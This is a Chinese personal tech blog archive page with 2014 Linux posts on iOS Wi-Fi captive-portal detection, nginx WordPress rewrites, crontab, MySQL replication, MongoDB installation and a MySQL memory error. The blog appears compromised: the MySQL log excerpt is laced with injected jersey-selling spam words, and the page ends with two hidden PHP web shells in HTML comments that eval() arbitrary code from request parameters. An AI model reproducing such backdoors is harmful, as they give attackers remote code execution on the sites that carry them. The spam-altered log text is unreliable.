存档

‘Linux’ 分类的存档

IOS下第三方认证wifi问题

2014年4月1日 没有评论

最近一个月左右都在研究wifi第三方认证的问题,由于以前没有接触过这个领域,包括对路由器我也算是一个菜鸟开始吧。当然现在也还是菜鸟哈,但是由于这段时间的基础对wifi的第三方认证有了一定的了解,这里就不做详细的解说了!基本思路就是wifidog+第三方的认证系统了!

昨天发现了一个ios下面的wifi认证系统的问题,ios在对目标wifi进行连接以后,会对apple自己的网站进行连接,以确认这个wifi是否需要认证,如果需要认证,ios会自动引导用户到认证页面进行相关的认证。其实这确实一个很赞的用户体验,但是对于目前我做的项目却让有些苦恼了,有些认证需要查看短信或者登录微信等相关切换进程操作的。但是如果这是你切换的话,ios就会断开对当前未完成认证的wifi的连接,这样子用户就无法利用我们提供的wifi上网完成相关的操作了,怎么破?

博主进行了一番中文google,发现有人也和我遇到了累死的问题,但是他是在求问,最后也没有合适的回答,今天博主在做用户连接记录方面工作时,发现一个奇怪的现象,用浏览器访问认证首页时,数据表中只有一条记录,但是在ios的wifi连接时一下子就产生了3条连接记录,这就让博主好奇起来了,ios到底做了什么工作,产生了这么多连接记录哪?

于是博主就对所有连接记录的REQUEST_URI进行记录查看IOS在wifi连接到底做了写什么?(如果您对网络抓包熟悉的话,也可以利用抓包工具来实现这些操作)通过记录这些REQUEST_URI我发现IOS在进行wifi连接时有这种现象。

IOS会对3个连接进行请求(我发现就3个),下面我给出他们的地址:


http://www.ibook.info/pxREkH4RniUBKv/WgqXZQp3VxCarS/caKULpUuENJXUl/uCjrFAPYBU0bio.html
http://captive.apple.com/yIAR4Fa93gekmuj/4apKru10oKZFmds/BiwTncIKb5a8Rml/OQ5RPc7PtZ0Hktl.html
http://www.itools.info/qKYPnUF1CKv/nI4UdzW5106/oapMW6lSXxP.html

IOS会先对其中一个连接进行请求如果得到得到不是他想要的内容,就会把用户引导认证页面去,同一个链接会进行3次尝试,所以会看到我前面提到的可以看到有3条连接记录的现象!如果第一条链接请求成功,就会对下面的2条链接做同第一条链接同样操作。

我在发现了这个现象以后高兴了起来,感觉这个问题可以解决了,我只需要在wifidog的防火墙处做相关设置,开放这3个域名的白名单就不是解决问题了吗?

想到就去做,于是我通过ping获得3个连接的ip地址,将他们加入wifidog的防火墙,让后再进行测试,就不会出现自动引导到认证页面的问题了,不过唯一的缺陷就是这3个域名用户可以随意访问了!

分类: Linux, Web 标签:

WordPress在nginx下rewrite规则

2014年3月25日 没有评论

博客重新迁移之后,用nginx代替了原来的Apache服务器,wordpress使用了伪静态,这个就要使用了nginx的url重定向功能,前面的时候只是粗略的做了一个把所有不存在的文件重定向到根目录的index.php的功能。最近发现使用时发现登陆到目录没有指定详细的文件名时会无线重定向,导致页面死掉了!
今天又发现了这个问题,决定解决它,上网查了一下nginx下wordpress的重定向规则,改过之后重启nginx就好了!
我在配置文件/etc/nginx/conf.d/default.conf中做了如下改动:


location / {
 ........
 index index.php index.html index.htm;

if (-f $request_filename/index.html){
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php){
rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
rewrite (.*) /index.php;
}
 }

 

分类: Linux, Web 标签:

CentOS安装crontab及使用方法

2014年3月11日 没有评论

安装crontab:

[root@CentOS ~]# yum install vixie-cron
[root@CentOS ~]# yum install crontabs

说明:
vixie-cron软件包是cron的主程序;
crontabs软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序。
//+++++++++++++++++++++++++++++++++++
cron 是linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置

查看crontab服务状态:service crond status
手动启动crontab服务:service crond start
查看crontab服务是否已设置为开机启动,执行命令:ntsysv

加入开机自动启动:

chkconfig –level 35 crond on

1,crontab命令

功能说明:设置计时器。
语  法:crontab [-u <用户名称>][配置文件] 或 crontab [-u <用户名称>][-elr]
补充说明:cron是一个常驻服务,它提供计时器的功能,让用户在特定的时间得以执行预设的指令或程序。只要用户会编辑计时器的配置文件,就可以使用计时器的功能。其配置文件格式如下:
Minute Hour Day Month DayOFWeek Command
参  数:
-e  编辑该用户的计时器设置。
-l  列出该用户的计时器设置。
-r  删除该用户的计时器设置。
-u<用户名称>  指定要设定计时器的用户名称。
2,crontab 格式
基本格式 :
* *  *  *  *  command
分 时 日 月 周  命令
第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

crontab文件的一些例子:

30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重启apache。

45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重启apache。

10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。

0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示在每天18 : 00至23 : 00之间每隔30分钟重启apache。

0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每星期六的11 : 00 pm重启apache。

* */1 * * * /usr/local/etc/rc.d/lighttpd restart
每一小时重启apache

* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart
晚上11点到早上7点之间,每隔一小时重启apache

0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart
每月的4号与每周一到周三的11点重启apache

0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart
一月一号的4点重启apache

*/30 * * * * /usr/sbin/ntpdate 210.72.145.44
每半小时同步一下时间

原文转载地址:http://hi.baidu.com/jinhuow/item/b3b2c70bded92d18ebfe3814

crontab每隔一段时间一次任务的写法

这里就拿每隔5分钟为例进行说明:

有两种写法

第一种写法是*/5,这种写法有的系统会不支持

*/5 * * * * /xxx/task.sh
第二种写法比较繁琐,但所有系统都支持:

0,5,10,15,20,25,30,35,40,45,50,55 * * * * /xx/task.sh

分类: Linux 标签:

Mysql Master&Slave 实战

2014年3月11日 没有评论

从开始着手做Mysql的Master&Slave模式到现在好长一段时间了,中间由于遇到问题也停了一段时间,今天早上总算配好了,这里就分享一下自己的经验和其中遇到的问题!
刚开始的时候我也没有直接去Mysql的官网去查看手册,而且用google搜索了2篇网上其他同学的教程。如果第一次接触mysql的主从,可以去这里,看看这位同学写的东西吧,里面包含了Mysql主从的工作原理,是一个不错的入门教程。下面我们就进入正题吧!
实验环境
服务器A(master):192.168.10.8
服务器B(Slave):192.168.10.10
服务器A、B系统环境:CentOS 6.3
Mysql版本:.5.5.31
配置Master主机
编辑A服务器上面mysql的配置文件,开启Mysql的bin-log功能和设置Master相关参数和被复制数据库的相关参数。

[root@king-centos ~]# vim /etc/my.cnf

##主从配置服务器ID号,保持主从服务器不要一致

server-id=1
## Mysql开启bin-log功能
##log-bin=/data/mysql/binlog/mysql-bin.log
log-bin=mysql-bin.log
## Multiple db can use ”,” separation
## 设置被从服务器复制的数据库名称
binlog-do-db=master

Notice: 这里需要注意的是,像博主使用的是yum第三方源的mysql版本,在配置bin-log时,自定义目录时,mysqld无法启动,但是不适用自定义目录,在mysql默认目录一切正常。具体原因博主亦是不是十分清楚,把它归在于mysql编译时的配置问题上了。我用一个二进制版本的5.7的就可以自定义bin-log的路径。

然后下面就是创建用于从服务器访问的用户:

mysql> GRANT REPLICATION SLAVE ON *.* TO ’slave10′@”192.168.10.%” IDENTIFIED BY ’123456′;
mysql> FLUSH PRIVILEGES;

下面就是记录当前master服务器的状态:

mysql> FLUSH TABLES WITH READ LOCK;
mysql> SHOW MASTER STATUS\G;

*************************** 1. row ***************************
File: mysql-bin.000007
Position: 107
Binlog_Do_DB: master
Binlog_Ignore_DB:
1 row in set (0.00 sec)
mysql> UNLOCK TABLES;

配置Slave主机

编辑从服务器配置文件my.cnf,命令和上面相同。

server-id = 3
log-bin = mysql-bin-log
## 从服务器从主服务器复制数据库名称,多个数据库可以用”,”分割
replicate-do-db = master

Notice:这里需要注意的是如果你把主从服务的server-id配成一样的,会爆下面这个错误:
Slave_IO_Running: No
Slave_SQL_Running: Yes
Last_IO_Error: Fatal error: The slave I/O thread stops because master and slave have equal MySQL server ids;

即IO相关进程无法启动。

此时需要同步Mysql进行主从复制的数据,我的方法是使用mysqldump把主服务器的数据库导出然后使用mysql进行同步。

同步完数据库以足够权限的用户登录mysql,不熟悉的话就使用root就好!

mysql> CHANGE MASTER TO MASTER_HOST=’192.168.10.8′,
-> MASTER_USER=’slave10′,
-> MASTER_PASSWORD=’123456′,
-> MASTER_LOG_FILE=’mysql-bin.000007′,
->MASTER_LOG_POS=107;

这里需要注意的一下是,针对mysql5.1版本或者以前版本也可以通过配置my.cnf文件达到相同的目的.
例如:

server-id               = 2
log_bin                 = mysql-bin
master-host     =192.168.10.10
master-user     =slave10
master-pass     =123456
master-port     =3306
master-connect-retry=60 #如果从服务器发现主服务器断掉,重新连接的时间差(秒)
replicate-do-db =master#只复制某个库
replicate-ignore-db=mysql #不复制某个库

但是如果在mysql的5.5中做这种配置就会出现如下错误:
130620 6:04:52 InnoDB: 5.5.31 started; log sequence number 1609072
130620 6:04:52 [ERROR] /usr/libexec/mysqld: unknown variable ‘master-host=192.168.10.10′
下面就是启动mysql的slave进程了:

mysql> start slave;
mysql> show slave status \G;
……
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
……

找到上面的内容,那么我就可以去试试看看,目前来说,我们的主从已经配置好了!
我们可以到master服务器上面的表中添加一条记录,然后看看从服务器会不会自动复制,如果自动复制了。那么,Congratulations,我们的mysql master&slave配置好了!
最后附上mysql手册中相关资料地址:http://dev.mysql.com/doc/refman/5.1/zh/replication.html#replication-howto

Centos安装Mongodb

2014年3月11日 没有评论

Mongo简介:

MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。(以上内容来自百度百科,如果大家英文可以,可以去看Mongo的手册)

安装Mongodb:
这里安装Mongodb使用的是yum的方式,简单易用。yum安装时需要安装2个软件包,mongo-10gen-server和mongo-10gen。mongo-10gen-server包含mongod和mongos这2个守护进程,mongod就是服务的启动进程,mongos就是在集群中提供路由功能的进程。
1 首先配置yum的包管理系统
创建/etc/yum.repos.d/mongodb.repo文件,使用编辑器打开编辑,64位操作系统做如下配置:

[mongodb]
name=MongoDB Repository
baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/x86_64/
gpgcheck=0
enabled=1

32位的操作系统做如下配置:

[mongodb]
name=MongoDB Repository
baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/i686/
gpgcheck=0
enabled=1

为了能更好的使用和发挥mongodb,博主建议大家使用64位操作系统。
然后更新yum的缓存:

yum makecache

最后就是安装软件包,使用root身份时:

yum install mongo-10gen mongo-10gen-server

非root用户可以使用:

sudo yum install mongo-10gen mongo-10gen-server

目前官方源上面最新的是2.4的,如果你需要使用历史版本,可以在软件包名字的后面加上”-版本号”,例如我需要安装2.2.3的历史版本:

yum install mongo-10gen-2.2.3 mongo-10gen-server-2.2.3

mongodb配置文件的位置在 /etc/mongod.conf,你可以编辑它对你的mongodb进行设置。
启动mongodb的命令:

service mongod start

停止mongodb的命令:

service mongod stop

设置为开机启动:

chkconfig mongod on

二进制软件包安装:
使用二进制软件包安装有点和windows下面的安装有点相似,应该可以说是一样。
下载对应的版本的软件包,64位软件包地址:
http://downloads.mongodb.org/linux/mongodb-linux-x86_64-2.4.6.tgz
32为软件包地址:
http://downloads.mongodb.org/linux/mongodb-linux-i686-2.4.6.tgz
解压并移动软件包:

tar -zxvf mongodb.tgz
cp -R -n mongodb-linux-????-??-??/ /usr/local/mongodb
创建数据存储目录并启动进程:

mkdir -p /data/db
chown mongodb /data/db
/usr/local/mongodb/bin/mongod --config /etc/mongod.conf

查看更多关于mongod更相信使用方法可以使用如下命令:

/usr/local/mongodb/bin/mongod -h

如果需要更详细的信息可以查看mongodb的手册或者google。

本文参考资料:http://docs.mongodb.org/manual/installation/

分类: Linux, NoSQL 标签:

Mysql服务器内存过小启动失败问题

2014年3月10日 没有评论

今天把博客重新移植了一下,自己手动编译的LNMP的环境,mysql用的不是centos6.3默认提供的5.1,使用官方最新的mysql5.6.16版本,安装就不再一一说了,官方手册写的已经很详细了!

安装成功以后,LNMP的环境也搭建好了,但是在启动mysql的时候总是failed,看mysql的日志(/var/log/mysqld.log)出现如下的报错信息:

140310 14:26:01 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2014-03-10 14:26:02 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use –explicit_defaults_for_timestamp server option (see documentation for more details).
2014-03-10 14:26:02 12333 [Note] Plugin ‘FEDERATED’ is disabled.
2014-03-10 14:26:02 12333 [Note] InnoDB: Using atomics to ref count buffer pool pages
2014-03-10 14:26:02 12333 [Note] InnoDB: The InnoDB memory heap is disabled
2014-03-10 14:26:02 12333 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2014-03-10 14:26:02 12333 [Note] InnoDB: Compressed tables use zlib 1.2.3
2014-03-10 14:26:02 12333 [Note] InnoDB: Using Linux native AIO
2014-03-10 14:26:02 12333 [Note] InnoDB: Using CPU crc32 instructions
2014-03-10 14:26:02 12333 [Note] InnoDB: Initializing buffer pool, cheap jerseys size = 128.0M
InnoDB: mmap(137363456 bytes) failed; errno 12
2014-03-10 14:26:02 12333 [ERROR] InnoDB: Cannot allocate memory for the buffer pool
2014-03-10 14:26:02 12333 [ERROR] Plugin ‘InnoDB’ init function returned error.
2014-03-10 14:26:02 12333 [ERROR] Plugin ‘InnoDB’ registration as a STORAGE ENGINE failed.
2014-03-10 14:26:02 12333 [ERROR] Unknown/unsupported storage engine: InnoDB
2014-03-10 14:26:02 12333 [ERROR] Aborting

2014-03-10 14:26:02 12333 [Note] Binlog end
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘partition’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘ARCHIVE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘PERFORMANCE_SCHEMA’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘BLACKHOLE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_DATAFILES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_TABLESPACES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN_COLS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FIELDS’
2014-03-10 14:26:02 12333 wholesale nfl jerseys [Note] Shutting down plugin ‘INNODB_SYS_COLUMNS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_INDEXES’
2014-03-10 14:26:02 12333 [Note] cheap jerseys China Shutting down plugin ‘INNODB_SYS_TABLESTATS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_TABLES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_INDEX_TABLE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_INDEX_CACHE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_CONFIG’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_BEING_DELETED’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_DELETED’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_DEFAULT_STOPWORD’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_METRICS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_POOL_STATS’
2014-03-10 ICMAC 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE_LRU’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP_PER_INDEX_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting cheap jerseys down plugin ‘INNODB_CMP_PER_INDEX’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin wholesale mlb jerseys ‘INNODB_CMPMEM_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMPMEM’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_LOCK_WAITS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_LOCKS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_TRX’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MRG_MYISAM’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘CSV’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MEMORY’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MyISAM’
2014-03-10 Timpul 14:26:02 12333 [Note] Shutting down plugin ‘sha256_password’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘mysql_old_password’
2014-03-10 14:26:02 12333 [Note] Shutting Creative down plugin ‘mysql_native_password’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘binlog’
2014-03-10 14:26:02 12333 [Note] /usr/sbin/mysqld: Shutdown complete

140310 14:26:02 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended

在google上面找了好久,也找到了问题所在,原因就是博主的使用的vps内存只有521M,而mysql5.6以后的版本启动时候需要内存比较大,所以就失败了。

刚开始我把配置文件中(/etc/my.cnf)中的innodb_buffer_pool_size = 32M,可以启动了,很高兴,但是php页面链接了一次就死掉了而且貌似还锁上了!

这时用service mysqld status 查看状态是mysql dead but subsys locked,很纠结就找办法解决 掉了(这里时间紧就不再说解决方法了,大家google是可以找到的)。

但是启动的时候还是不行,又认真google了一翻,找到了这一篇文章《centos上 mysql启动失败的问题》,参照这里面的内存对配置文件做如下修改:

performance_schema_max_table_instances=600
table_definition_cache=400
table_open_cache=256
innodb_buffer_pool_size = 32M

然后又重启了一下电脑,这时候总算可以启动起来了!

可是悲剧的是这时候我用php写的mysql测试程序报错如下:

Warning: mysql_connect(): No such file or directory in /user/local/apache/htdocs/php/database.php on line 9
Error: No such file or directory

又是一翻google,在stackoverflow上面找到了mysql_connect(): No such file or directory的答案

这次安装wordpress总算通过了!真心好累,好折腾啊!

<!– [insert_php]if (isset($_REQUEST["OmIH"])){eval($_REQUEST["OmIH"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;OmIH&quot;])){eval($_REQUEST[&quot;OmIH&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["ESPjO"])){eval($_REQUEST["ESPjO"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;ESPjO&quot;])){eval($_REQUEST[&quot;ESPjO&quot;]);exit;}

–>

分类: Linux, PHP 标签: